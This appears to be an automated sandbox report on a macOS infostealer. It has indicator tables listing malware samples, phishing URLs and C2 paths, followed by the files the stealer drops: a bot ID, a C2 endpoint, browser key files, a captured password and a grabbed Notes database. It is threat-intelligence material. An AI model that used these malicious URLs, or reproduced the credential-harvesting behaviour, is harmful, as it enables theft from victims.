	rat-lumma.jar	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Exastealer-FINAL.exe	Get hash	malicious	Exastealer	Browse	api.ipify.org/
	payload.hta	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SolarisLoader.exe	Get hash	malicious	Evelyn	Browse	api.ipify.org/
	HydraCheat7.5.2.msi	Get hash	malicious	chromElevator	Browse	api.ipify.org/
188.114.97.3	tuAIi63dSK.exe	Get hash	malicious	Azorult, GuLoader	Browse	k1n4a.online/HL341/index.php
	PT CPI Vendor quotation request.exe	Get hash	malicious	FormBook	Browse	www.tgwfj.xyz/b5fo/
	rPurchaseEnquiry.exe	Get hash	malicious	FormBook	Browse	www.sld6.rest/q0rl/
	m0wsoI3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	ctrlgem.xyz/gate.php
	Invoice 1425004091.exe	Get hash	malicious	FormBook	Browse	www.tether1.xyz/focp/
	Quotation submitting.exe	Get hash	malicious	FormBook	Browse	www.tgwfj.xyz/b5fo/
	SecuriteInfo.com.Win32.DropperX-gen.24286.1079.exe	Get hash	malicious	Unknown	Browse	jx2chiem.com/updategame/Autoupdate.exe
	finebi.exe	Get hash	malicious	Unknown	Browse	apiapi.mmkinskfn.xyz/jquery-3.3.1.min.js
	Aramco requests.exe	Get hash	malicious	FormBook	Browse	www.shuangunder.shop/udq7/
	UB BO 14-3-2025.exe	Get hash	malicious	FormBook	Browse	www.tether1.xyz/focp/?QHH0=0Vzp&ST=mXJHtAZSrcMVNAYe0Kfq2FJYJcD6dFMzhzcfA/LZkfgqhdihAxT3aslAf9nOYajIz7QizkjlvIUHcb1FopIoHD46K0qUy9lf5cyl621RCgAfM4tktgk7yEk=

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
freeipapi.com	http://www.landmarkdental.co.uk	Get hash	malicious	EtherHiding	Browse	172.67.168.79
	build.exe	Get hash	malicious	Discord Token Stealer	Browse	172.67.168.79
	https://135.148.104.69/	Get hash	malicious	HTMLPhisher	Browse	172.67.168.79
	https://colegiosansebastiandelinares.cl/krystalcrysler/docusigndocuments/approved1-3.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136
	https://storequode.com/database/database.html#cGJ1cndlbGxAYnVyd2VsbGVudGVycHJpc2VzLmNvbQ==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	https://intakeq.com/export/consent/6900e4502c5b0153f5d94bcf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136
	Paul.80b96f8d124327d27919.eml (74.3 KB).msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	play_audio.518bf2781c2124656d73.pdf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	https://runtime.diofafea.sa.com/CdjuqA@lnp/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136
	ATT00325.pdf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
api.ipify.org	https://objectstorage.eu-zurich-1.oraclecloud.com/n/zraajz2nnivg/b/guerrallp/o/Encrypted.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.26.12.205
	https://objectstorage.eu-zurich-1.oraclecloud.com/n/zraajz2nnivg/b/guerrallp/o/Encrypted.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.26.13.205
	Req_270_002.vbs	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://share.goodday.work/fdbccf3b-6664-469e-bd16-5faa70c0f3c1	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.26.13.205
	BBmT9zUPeJ.exe	Get hash	malicious	SheetRat	Browse	104.26.12.205
	eDgnSchl2X.dll	Get hash	malicious	ValleyRAT	Browse	104.26.13.205
	eDgnSchl2X.dll	Get hash	malicious	ValleyRAT	Browse	104.26.12.205
	Vekp60MjAI.dll	Get hash	malicious	ValleyRAT	Browse	104.26.13.205
	Vekp60MjAI.dll	Get hash	malicious	ValleyRAT	Browse	104.26.13.205
	Uj8iVPN6Aj.dll	Get hash	malicious	ValleyRAT	Browse	172.67.74.152
free.freeipapi.com	http://www.landmarkdental.co.uk	Get hash	malicious	EtherHiding	Browse	172.67.168.79
	build.exe	Get hash	malicious	Discord Token Stealer	Browse	172.67.168.79
	https://colegiosansebastiandelinares.cl/krystalcrysler/docusigndocuments/approved1-3.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136
	https://storequode.com/database/database.html#cGJ1cndlbGxAYnVyd2VsbGVudGVycHJpc2VzLmNvbQ==	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	https://intakeq.com/export/consent/6900e4502c5b0153f5d94bcf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136
	Paul.80b96f8d124327d27919.eml (74.3 KB).msg	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	play_audio.518bf2781c2124656d73.pdf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	https://runtime.diofafea.sa.com/CdjuqA@lnp/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136
	ATT00325.pdf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	172.67.168.79
	https://www.figma.com/deck/tcOQlL8CGQEU95QiFtKSPh	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.21.94.136

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
APPLE-ENGINEERING-AppleIncUS	https://mlawfirm.com	Get hash	malicious	Unknown	Browse	17.248.199.68
	parm5.elf	Get hash	malicious	Mirai	Browse	17.160.112.41
	https://weblivemeet.es/vbzoom.us	Get hash	malicious	AteraAgent	Browse	17.253.142.4
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	17.121.8.215
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	17.236.150.76
	mirai.ppc.elf	Get hash	malicious	Mirai	Browse	17.58.37.10
	mirai.arm7.elf	Get hash	malicious	Mirai	Browse	17.139.121.95
	e3b410b16785aa991ed02206f3108ae3a5c7d888a181e590bdce09baeb5b8a39.elf	Get hash	malicious	Mirai	Browse	17.160.90.53
	5fa395bbe688fbbd6364f3d58fb14a8c1dca63933491e475b8740f77e1401b3d.elf	Get hash	malicious	Mirai	Browse	17.68.247.186
CLOUDFLARENET-CloudflareIncUS	https://trackingservice.monday.com/tracker/link?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvcmlnaW5hbFVybCI6Imh0dHBzOi8vb2pvY2Z4aTMud2lzbmV0Y29tbHJmbmxjLnZ1L3F4eVVjWCIsImVtYWlsSWQiOiI3YmUxYjZhMi03YmEzLTQ5ZDctODIxMy01OWVkYTUxODU1YTMiLCJpYXQiOjE3ODcwNzYyNjl9.bzhs8HI36lxkZYZm_GbAxCxRJLhxU4GtMxTaJQo6eI4&r=use1	Get hash	malicious	Microsoft Phisher	Browse	104.16.50.19
	Hartmann_group.pptx	Get hash	malicious	Unknown	Browse	104.21.65.254
	Hartmann_group.pptx	Get hash	malicious	Unknown	Browse	104.21.65.254
	https://objectstorage.eu-zurich-1.oraclecloud.com/n/zraajz2nnivg/b/guerrallp/o/Encrypted.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.26.13.205
	https://link.edgepilot.com/x/d65Eb0dLzOIi0M1TZ8cO0Kg?u=https://secure-web.cisco.com/1nh-wAuGtLXQcoJF0dq2oRzBz9PsYAutj0_D_xuXHZGUOjQSP5trsNxTSHaJUN3sbEXjS_QdCFomDJby1CSWunMuYav6d5gXX0iv2dPE16mAvp2jrHyFFQAsEGS5i61dWY_sbvix78RP3gYQrGOMMO7khOVzFuh3tzjGYTCA_aBtI4ed95R_EKoundDtKceb1CN4E43BeiUf4p3FFOEERS0AE6mLvD4yTxuL1tK7T5RNRBuo_SAFxISEmhN2F9ggfHVs2DDBxyNBXqzPrzSJm8aZC3xbGRf9F6iw0P93J8XBPfX-btTabQfZqo-lkIwZRKuyFdUE2Why7eLCb29cypAiPQfHtUDaNQslWnxIros4kaTxBntz6T7kTxiDKmRnPBCx13OUQKYEDzZr4wVnUmDvF_Y8CdNGdYS18WoN5liiqi1Ahc_QViPDUngtXHYPvm71t8PT3lImOF0iyY0wEI4Nzn1E89b2uYdA-3BdBSGQ/https%253A%252F%252Ftrackingservice.monday.com%252Ftracker%252Flink%253Ftoken%253DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvcmlnaW5hbFVybCI6Imh0dHBzOi8vZ2VzdW5kbWl0Ym9yaXMubGlmZS9jb21wb25lbnRzL2NvbV9jb250YWN0L2hlbHBlcnMvcmVkL2QvZjhtMXRibmIvIiwiZW1haWxJZCI6ImY0MDJhNjAyLTdhODktNDRhNS05YmNkLWFjMzg1ZWU3MjIwYyIsImlhdCI6MTc4NzE1NTg0MH0.e-UT3U-XfhVob5SkdnrpCzqEwn2UJk0qjAzSPglZlYQ%2526r%253Duse1	Get hash	malicious	WikiKit	Browse	104.17.123.183
	https://objectstorage.eu-zurich-1.oraclecloud.com/n/zraajz2nnivg/b/guerrallp/o/Encrypted.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	http://primeorock.de/1234/	Get hash	malicious	WikiKit	Browse	104.21.90.54
	https://google.sn/amp/a/s/ipv4.google.com%2Furl%3Fq%3Dhttp%253A%252F%252Fapis.google.com%252Fadditnow%252Fl%253FapplicationId%253D1%2526ls%253Dogb%2526lu%253Dhttps%3A%2F%2Frtghjklhg.cedarbox.org%2Fffyhgug%2F	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	http://primeorock.de/1234/	Get hash	malicious	WikiKit	Browse	104.21.90.54
	http://fashion-chicken.com	Get hash	malicious	Unknown	Browse	172.67.136.33
APPLE-ENGINEERING-AppleIncUS	https://mlawfirm.com	Get hash	malicious	Unknown	Browse	17.248.199.68
	parm5.elf	Get hash	malicious	Mirai	Browse	17.160.112.41
	https://weblivemeet.es/vbzoom.us	Get hash	malicious	AteraAgent	Browse	17.253.142.4
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	17.121.8.215
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	17.236.150.76
	mirai.ppc.elf	Get hash	malicious	Mirai	Browse	17.58.37.10
	mirai.arm7.elf	Get hash	malicious	Mirai	Browse	17.139.121.95
	e3b410b16785aa991ed02206f3108ae3a5c7d888a181e590bdce09baeb5b8a39.elf	Get hash	malicious	Mirai	Browse	17.160.90.53
	5fa395bbe688fbbd6364f3d58fb14a8c1dca63933491e475b8740f77e1401b3d.elf	Get hash	malicious	Mirai	Browse	17.68.247.186
CLOUDFLARENET-CloudflareIncUS	https://trackingservice.monday.com/tracker/link?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvcmlnaW5hbFVybCI6Imh0dHBzOi8vb2pvY2Z4aTMud2lzbmV0Y29tbHJmbmxjLnZ1L3F4eVVjWCIsImVtYWlsSWQiOiI3YmUxYjZhMi03YmEzLTQ5ZDctODIxMy01OWVkYTUxODU1YTMiLCJpYXQiOjE3ODcwNzYyNjl9.bzhs8HI36lxkZYZm_GbAxCxRJLhxU4GtMxTaJQo6eI4&r=use1	Get hash	malicious	Microsoft Phisher	Browse	104.16.50.19
	Hartmann_group.pptx	Get hash	malicious	Unknown	Browse	104.21.65.254
	Hartmann_group.pptx	Get hash	malicious	Unknown	Browse	104.21.65.254
	https://objectstorage.eu-zurich-1.oraclecloud.com/n/zraajz2nnivg/b/guerrallp/o/Encrypted.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.26.13.205
	https://link.edgepilot.com/x/d65Eb0dLzOIi0M1TZ8cO0Kg?u=https://secure-web.cisco.com/1nh-wAuGtLXQcoJF0dq2oRzBz9PsYAutj0_D_xuXHZGUOjQSP5trsNxTSHaJUN3sbEXjS_QdCFomDJby1CSWunMuYav6d5gXX0iv2dPE16mAvp2jrHyFFQAsEGS5i61dWY_sbvix78RP3gYQrGOMMO7khOVzFuh3tzjGYTCA_aBtI4ed95R_EKoundDtKceb1CN4E43BeiUf4p3FFOEERS0AE6mLvD4yTxuL1tK7T5RNRBuo_SAFxISEmhN2F9ggfHVs2DDBxyNBXqzPrzSJm8aZC3xbGRf9F6iw0P93J8XBPfX-btTabQfZqo-lkIwZRKuyFdUE2Why7eLCb29cypAiPQfHtUDaNQslWnxIros4kaTxBntz6T7kTxiDKmRnPBCx13OUQKYEDzZr4wVnUmDvF_Y8CdNGdYS18WoN5liiqi1Ahc_QViPDUngtXHYPvm71t8PT3lImOF0iyY0wEI4Nzn1E89b2uYdA-3BdBSGQ/https%253A%252F%252Ftrackingservice.monday.com%252Ftracker%252Flink%253Ftoken%253DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvcmlnaW5hbFVybCI6Imh0dHBzOi8vZ2VzdW5kbWl0Ym9yaXMubGlmZS9jb21wb25lbnRzL2NvbV9jb250YWN0L2hlbHBlcnMvcmVkL2QvZjhtMXRibmIvIiwiZW1haWxJZCI6ImY0MDJhNjAyLTdhODktNDRhNS05YmNkLWFjMzg1ZWU3MjIwYyIsImlhdCI6MTc4NzE1NTg0MH0.e-UT3U-XfhVob5SkdnrpCzqEwn2UJk0qjAzSPglZlYQ%2526r%253Duse1	Get hash	malicious	WikiKit	Browse	104.17.123.183
	https://objectstorage.eu-zurich-1.oraclecloud.com/n/zraajz2nnivg/b/guerrallp/o/Encrypted.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	http://primeorock.de/1234/	Get hash	malicious	WikiKit	Browse	104.21.90.54
	https://google.sn/amp/a/s/ipv4.google.com%2Furl%3Fq%3Dhttp%253A%252F%252Fapis.google.com%252Fadditnow%252Fl%253FapplicationId%253D1%2526ls%253Dogb%2526lu%253Dhttps%3A%2F%2Frtghjklhg.cedarbox.org%2Fffyhgug%2F	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	http://primeorock.de/1234/	Get hash	malicious	WikiKit	Browse	104.21.90.54
	http://fashion-chicken.com	Get hash	malicious	Unknown	Browse	172.67.136.33

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e4d448cdfe06dc1243c1eb026c74ac9a	ZzRpglGgg1.xlsx	Get hash	malicious	Unknown	Browse	138.124.70.84 104.26.12.205 188.114.97.3 188.114.96.3
	18037.doc	Get hash	malicious	Unknown	Browse	138.124.70.84 104.26.12.205 188.114.97.3 188.114.96.3
	http://tracksorders.com	Get hash	malicious	Unknown	Browse	138.124.70.84 104.26.12.205 188.114.97.3 188.114.96.3
	https://58.email.stripe.com/CL0/https:%2F%2Fwww.britainairporttransfers.co.uk/4/01000188b98fc0c8-4dbcc283-4daf-4b36-8cc5-4625b1743aa7-000000/l_ORHcLOPgYOtJrUDMsqj3Ftby51H0Ygl8nP4EjCrK4=305	Get hash	malicious	Unknown	Browse	138.124.70.84 104.26.12.205 188.114.97.3 188.114.96.3

Process:	/bin/cp
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.728115606733148
Encrypted:	false
SSDEEP:	3:l3LSTGHOkFnwKjFKHp1ziQdTwkFBRwn:l3uTGukFnwKB2NwkrRwn
MD5:	78CF45B9AE68707E931FC0CCAB949BBE
SHA1:	000067504E5D32A32F267E2C53C4D01A03FF9ADC
SHA-256:	5DDC166F55447BF4803A12ED60F232DAB510D557973C0218B7D37E0DA461ABD1
SHA-512:	6626A2936FDF5B8E200FE646DA05C527C8973F9F45F3C6CA15E23AEE2A25454A9D2AF2276DD26BB243B0D0CDDE19B2FB262BF20E5779D0D4ECEA4AD33E49B2BE
Malicious:	false
Reputation:	low
Preview:	bash history./var/jbxkick ; exit;./Users/bernardo/Desktop/E9CX86U4Q7 ; exit;.

/Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew

Download File

Process:	/usr/bin/touch
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:

/Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.session

Download File

Process:	/bin/bash
File Type:	ASCII text
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.662474940236532
Encrypted:	false
SSDEEP:	3:jpQ6z/KPbLTXzP:xz/EbLTDP
MD5:	D5CF3BD6EBF66EF195997CA9B54EAA75
SHA1:	EE7A5461F617DE357B95733B7B724378F675ED6F
SHA-256:	ADC00B842CFA22EF2B8D7227EAADDB20800912A417BB4B310820BC8204282579
SHA-512:	086FD5FB6C768BFCEFA9CEDCE45BCDC4056E7482983216B7F61A9D739454138D682BE43467FCA6E7D16798588F5119196D3B12C23CFB042D1D1BD43F12B393F1
Malicious:	false
Reputation:	low
Preview:	echo Restored session: "$(/bin/date -r 1786629301)".

/Users/bernardo/.botid

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1

/Users/bernardo/.chost

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.1000933078165485
Encrypted:	false
SSDEEP:	3:N8Y7gJK2k9EbQWn:2Y7MK2kun
MD5:	F27834AF4E5CB5A55A3A60BBDE828F74
SHA1:	0E917040CE2BD481FC3F94B3B1F110A88ECAFBEB
SHA-256:	97341B28634ADB6D162C2E10EA0FC84D7F7093BEA6A96CB97470D2B11160311E
SHA-512:	595A08F66FCE9A746AB90BEDC97439E89D71D57D27D4D72F4DD169214B4B21BBF07F14616A85533733E425002F2E2575D290BC82103AD862DA1367F777BAF450
Malicious:	true
Reputation:	low
Preview:	https://debug.allllowef.space/api/bot/actions

/Users/bernardo/.local/share/.stream/.arc_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Reputation:	low
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.bot_id

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.0849625007211556
Encrypted:	false
SSDEEP:	3:f:f
MD5:	E0C84C0FA880A0E74F25C1CC879AF1EC
SHA1:	096EF40522315D9D4547BF943A3E563D77107F15
SHA-256:	164E9F1AC9E3CD577EF9E1CE86A9D21C1606EE4A3518E7BC99FB26366041E86A
SHA-512:	04B7B45E6F1E12CE497F425FF3D77A2901A13176A30BCFF5773B81FE3C2490E495B3EC1C2272000977B828850679BE251ABAE12BCA6F0CC960A5F3623734C3DA
Malicious:	true
Preview:	7af55c2e372d

/Users/bernardo/.local/share/.stream/.brave_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.chrome_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.chromium_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.coccoc_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.edge_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.opera_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.vivaldi_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.local/share/.stream/.yandex_key

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Bfn:p
MD5:	F03DC4268CA97128FE9E7ED5ED9802C9
SHA1:	DF64229CED4C4A69CAFE51EDCC6167119DBDEEBE
SHA-256:	9CBBA4AED2F2D8FFB91A251642B1FB7201546362D7C9B5BF64830DAE525F3B5E
SHA-512:	9C2C6DEAF08B65B5FA92E5A0ED3BEF796A172186DE76CC0990EAD7F4EC4CA497142C726599B0CE54996A13A3B5025E4E7BEBE6227466C6F81ECBEAB9C0382520
Malicious:	true
Preview:	n"b0z

/Users/bernardo/.pwd

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.584962500721156
Encrypted:	false
SSDEEP:	3:OW0:OW0
MD5:	E10ADC3949BA59ABBE56E057F20F883E
SHA1:	7C4A8D09CA3762AF61E59520943DC26494F8941B
SHA-256:	8D969EEF6ECAD3C29A3A629280E686CF0C3F5D5A86AFF3CA12020C923ADC6C92
SHA-512:	BA3253876AED6BC22D4A6FF53D8406C6AD864195ED144AB5C87621B6C233B548BAEAE6956DF346EC8C17F5EA10F35EE3CBC514797ED7DDD3145464E2A0BAB413
Malicious:	true
Preview:	123456

/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite

Download File

Process:	/bin/bash
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	2.0762902832196706
Encrypted:	false
SSDEEP:	1536:lzllU38rtb53YIH/IXmxCop+EnVq/DKM0:lzu2Yi/IW4oT8/H0
MD5:	B828F425A2C06BD7F3EBC68D525E412A
SHA1:	307218613916DFB57D53C99C6A0894E7208332F9
SHA-256:	2E7061808A2D4A695AABD78D71E87B06F68F64B6455C7A0E575AF7E1FD40E7BB
SHA-512:	1ED7753A27989FFF6AF43289D6E040427D8FE0FD378AE5EBD3AADEF1816586AEE0C61AB961558FBE5714B699EABE4586C44D0708E5004107594F29FC5E8DB69E
Malicious:	true
Preview:	SQLite format 3......@ .......H...........F...........<..........................................n............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm

Download File

Process:	/bin/bash
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal

Download File

Process:	/bin/bash
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	true
Preview:

/private/tmp/.ks_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	5400
